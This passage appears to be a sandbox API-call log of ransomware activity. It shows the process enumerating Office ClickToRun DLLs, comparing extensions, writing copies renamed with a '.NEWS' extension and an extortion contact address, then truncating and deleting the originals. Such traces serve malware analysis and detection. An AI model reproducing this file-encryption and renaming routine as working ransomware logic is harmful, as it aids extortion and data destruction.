4 [0081.743] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.743] lstrlenW (lpString=".7z") returned 3 [0081.743] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.743] lstrlenW (lpString=".dbf") returned 4 [0081.743] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.743] lstrlenW (lpString=".1cd") returned 4 [0081.743] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0081.743] lstrlenW (lpString=".jpg") returned 4 [0081.743] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.744] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0081.744] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0081.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.745] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=27840) returned 1 [0081.745] CloseHandle (hObject=0x2f4) returned 1 [0081.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0081.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0081.745] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0081.745] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.745] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0081.746] GetLastError () returned 0x0 [0081.746] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x6cc0, lpOverlapped=0x0) returned 1 [0081.749] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x6cd0, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x6cd0, lpOverlapped=0x0) returned 1 [0081.750] ReadFile (in: hFile=0x2f4, lpBuffer=0x34e7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25dfecc, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesRead=0x25dfecc*=0x0, lpOverlapped=0x0) returned 1 [0081.750] WriteFile (in: hFile=0x374, lpBuffer=0x34e7020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x25dfc94, lpOverlapped=0x0 | out: lpBuffer=0x34e7020*, lpNumberOfBytesWritten=0x25dfc94*=0x110, lpOverlapped=0x0) returned 1 [0081.750] SetEndOfFile (hFile=0x374) returned 1 [0081.750] CloseHandle (hObject=0x374) returned 1 [0081.752] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25dfec0 | out: lpNewFilePointer=0x0) returned 1 [0081.752] SetEndOfFile (hFile=0x2f4) returned 1 [0081.753] CloseHandle (hObject=0x2f4) returned 1 [0081.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0081.753] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 1 [0081.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0081.753] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0081.753] lstrlenW (lpString=".doc") returned 4 [0081.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0081.753] lstrlenW (lpString=".docx") returned 5 [0081.753] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0081.753] lstrlenW (lpString=".pdf") returned 4 [0081.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.753] lstrlenW (lpString=".xls") returned 4 [0081.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0081.754] lstrlenW (lpString=".xlsx") returned 5 [0081.754] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0081.754] lstrlenW (lpString=".ppt") returned 4 [0081.754] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0081.754] lstrlenW (lpString=".zip") returned 4 [0081.754] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0081.754] lstrlenW (lpString=".rar") returned 4 [0081.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0081.754] lstrlenW (lpString=".bz2") returned 4 [0081.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0081.754] lstrlenW (lpString=".7z") returned 3 [0081.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0081.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0081.754] lstrlenW (lpString=".dbf") returned 4 [0081.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0081.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0081.754] lstrlenW (lpString=".1cd") returned 4 [0081.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0081.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0081.754] lstrlenW (lpString=".jpg") returned 4 [0081.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0081.754] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0082.314] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0082.322] lstrlenW (lpString=".doc") returned 4 [0082.322] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.322] lstrlenW (lpString=".docx") returned 5 [0082.322] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.322] lstrlenW (lpString=".pdf") returned 4 [0082.322] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.322] lstrlenW (lpString=".xls") returned 4 [0082.322] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.322] lstrlenW (lpString=".xlsx") returned 5 [0082.322] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.322] lstrlenW (lpString=".ppt") returned 4 [0082.322] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0082.322] lstrlenW (lpString=".zip") returned 4 [0082.322] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.322] lstrlenW (lpString=".rar") returned 4 [0082.322] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.322] lstrlenW (lpString=".bz2") returned 4 [0082.322] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.322] lstrlenW (lpString=".7z") returned 3 [0082.322] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0082.322] lstrlenW (lpString=".dbf") returned 4 [0082.322] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0082.322] lstrlenW (lpString=".1cd") returned 4 [0082.322] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned 88 [0082.322] lstrlenW (lpString=".jpg") returned 4 [0082.322] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.323] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.323] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0082.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0082.323] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=307416) returned 1 [0082.323] CloseHandle (hObject=0x364) returned 1 [0082.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0082.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString=".doc") returned 4 [0082.324] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.324] lstrlenW (lpString=".docx") returned 5 [0082.324] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0082.324] lstrlenW (lpString=".pdf") returned 4 [0082.324] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.324] lstrlenW (lpString=".xls") returned 4 [0082.324] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.324] lstrlenW (lpString=".xlsx") returned 5 [0082.324] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0082.324] lstrlenW (lpString=".ppt") returned 4 [0082.324] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString=".zip") returned 4 [0082.324] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.324] lstrlenW (lpString=".rar") returned 4 [0082.324] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.324] lstrlenW (lpString=".bz2") returned 4 [0082.324] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.324] lstrlenW (lpString=".7z") returned 3 [0082.324] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString=".dbf") returned 4 [0082.324] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString=".1cd") returned 4 [0082.324] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString=".jpg") returned 4 [0082.324] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.324] lstrlenW (lpString=".doc") returned 4 [0082.325] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.325] lstrlenW (lpString=".docx") returned 5 [0082.325] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0082.325] lstrlenW (lpString=".pdf") returned 4 [0082.325] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.325] lstrlenW (lpString=".xls") returned 4 [0082.325] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.325] lstrlenW (lpString=".xlsx") returned 5 [0082.325] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0082.325] lstrlenW (lpString=".ppt") returned 4 [0082.325] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.325] lstrlenW (lpString=".zip") returned 4 [0082.325] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.325] lstrlenW (lpString=".rar") returned 4 [0082.325] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.325] lstrlenW (lpString=".bz2") returned 4 [0082.325] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.325] lstrlenW (lpString=".7z") returned 3 [0082.325] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.325] lstrlenW (lpString=".dbf") returned 4 [0082.325] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.325] lstrlenW (lpString=".1cd") returned 4 [0082.325] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0082.325] lstrlenW (lpString=".jpg") returned 4 [0082.325] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.325] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.325] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0082.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0082.326] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=2118360) returned 1 [0082.326] CloseHandle (hObject=0x364) returned 1 [0082.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0082.326] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 1 [0082.327] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[notgoodnews@tutanota.com].news"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0082.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.331] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.331] lstrlenW (lpString=".doc") returned 4 [0082.331] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.331] lstrlenW (lpString=".docx") returned 5 [0082.331] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0082.331] lstrlenW (lpString=".pdf") returned 4 [0082.331] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.332] lstrlenW (lpString=".xls") returned 4 [0082.332] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.332] lstrlenW (lpString=".xlsx") returned 5 [0082.332] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0082.332] lstrlenW (lpString=".ppt") returned 4 [0082.332] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.332] lstrlenW (lpString=".zip") returned 4 [0082.332] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.332] lstrlenW (lpString=".rar") returned 4 [0082.332] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.332] lstrlenW (lpString=".bz2") returned 4 [0082.332] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.332] lstrlenW (lpString=".7z") returned 3 [0082.332] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.332] lstrlenW (lpString=".dbf") returned 4 [0082.332] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.332] lstrlenW (lpString=".1cd") returned 4 [0082.332] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.332] lstrlenW (lpString=".jpg") returned 4 [0082.332] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.332] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.333] lstrlenW (lpString=".doc") returned 4 [0082.333] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.333] lstrlenW (lpString=".docx") returned 5 [0082.333] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0082.333] lstrlenW (lpString=".pdf") returned 4 [0082.333] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.333] lstrlenW (lpString=".xls") returned 4 [0082.333] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.333] lstrlenW (lpString=".xlsx") returned 5 [0082.333] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0082.333] lstrlenW (lpString=".ppt") returned 4 [0082.333] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.333] lstrlenW (lpString=".zip") returned 4 [0082.333] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.333] lstrlenW (lpString=".rar") returned 4 [0082.333] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.333] lstrlenW (lpString=".bz2") returned 4 [0082.333] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.333] lstrlenW (lpString=".7z") returned 3 [0082.333] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.333] lstrlenW (lpString=".dbf") returned 4 [0082.333] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.333] lstrlenW (lpString=".1cd") returned 4 [0082.333] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.333] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0082.333] lstrlenW (lpString=".jpg") returned 4 [0082.333] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.333] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.334] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0082.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0082.334] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x25dff14 | out: lpFileSize=0x25dff14*=468696) returned 1 [0082.334] CloseHandle (hObject=0x364) returned 1 [0082.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0082.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.334] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.334] lstrlenW (lpString=".doc") returned 4 [0082.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.334] lstrlenW (lpString=".docx") returned 5 [0082.334] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0082.334] lstrlenW (lpString=".pdf") returned 4 [0082.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.334] lstrlenW (lpString=".xls") returned 4 [0082.334] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.334] lstrlenW (lpString=".xlsx") returned 5 [0082.335] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0082.335] lstrlenW (lpString=".ppt") returned 4 [0082.335] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.335] lstrlenW (lpString=".zip") returned 4 [0082.335] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString=".rar") returned 4 [0082.335] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.335] lstrlenW (lpString=".bz2") returned 4 [0082.335] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.335] lstrlenW (lpString=".7z") returned 3 [0082.335] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.335] lstrlenW (lpString=".dbf") returned 4 [0082.335] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0082.335] 